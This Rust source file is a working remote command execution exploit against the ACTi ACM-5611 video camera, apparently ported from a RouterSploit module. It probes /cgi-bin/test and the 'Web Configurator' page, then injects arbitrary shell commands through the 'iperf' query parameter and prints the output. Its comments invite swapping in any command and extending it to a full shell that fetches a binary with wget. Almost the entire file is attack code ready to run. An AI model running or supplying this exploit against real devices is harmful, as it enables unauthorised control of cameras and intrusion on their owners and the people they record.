use anyhow::{anyhow, Result};
use reqwest::Client;
use std::time::Duration;

/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html

/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)

pub async fn run(target: &str) -> Result<()> {
    let port = 8080; // // Default port

    if check(target, port).await? {
        println!("[+] Target seems vulnerable: {}:{}", target, port);

        // // Simulated shell command execution
        let cmd = "id"; // // You can change this to any test command
        let output = execute(target, port, cmd).await?;
        println!("[+] Executed '{}':\n{}", cmd, output);

        // // You can extend this to implement full shell injection
        // // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
    } else {
        println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
    }

    Ok(())
}

/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
    let url = format!("http://{}:{}/cgi-bin/test", target, port);
    let client = Client::builder()
        .timeout(Duration::from_secs(5))
        .build()?;

    let res = client
        .get(&url)
        .header("Content-Type", "application/x-www-form-urlencoded")
        .header("Referer", format!("http://{}:{}", target, port))
        .query(&[("iperf", format!(";{}", cmd))])
        .send()
        .await?;

    if res.status().is_success() {
        let text = res.text().await?;
        Ok(text)
    } else {
        Err(anyhow!("Command execution failed, status code: {}", res.status()))
    }
}

/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
    let url = format!("http://{}:{}/cgi-bin/test", target, port);
    let index_url = format!("http://{}:{}/", target, port);
    let client = Client::builder()
        .timeout(Duration::from_secs(5))
        .build()?;

    // // Check /cgi-bin/test
    let test_res = client.get(&url).send().await?;
    if test_res.status().is_success() {
        // // Check root page contains 'Web Configurator'
        let index_res = client.get(&index_url).send().await?;
        if index_res.status().is_success() {
            let body = index_res.text().await?;
            if body.contains("Web Configurator") {
                return Ok(true);
            }
        }
    }

    Ok(false)
}
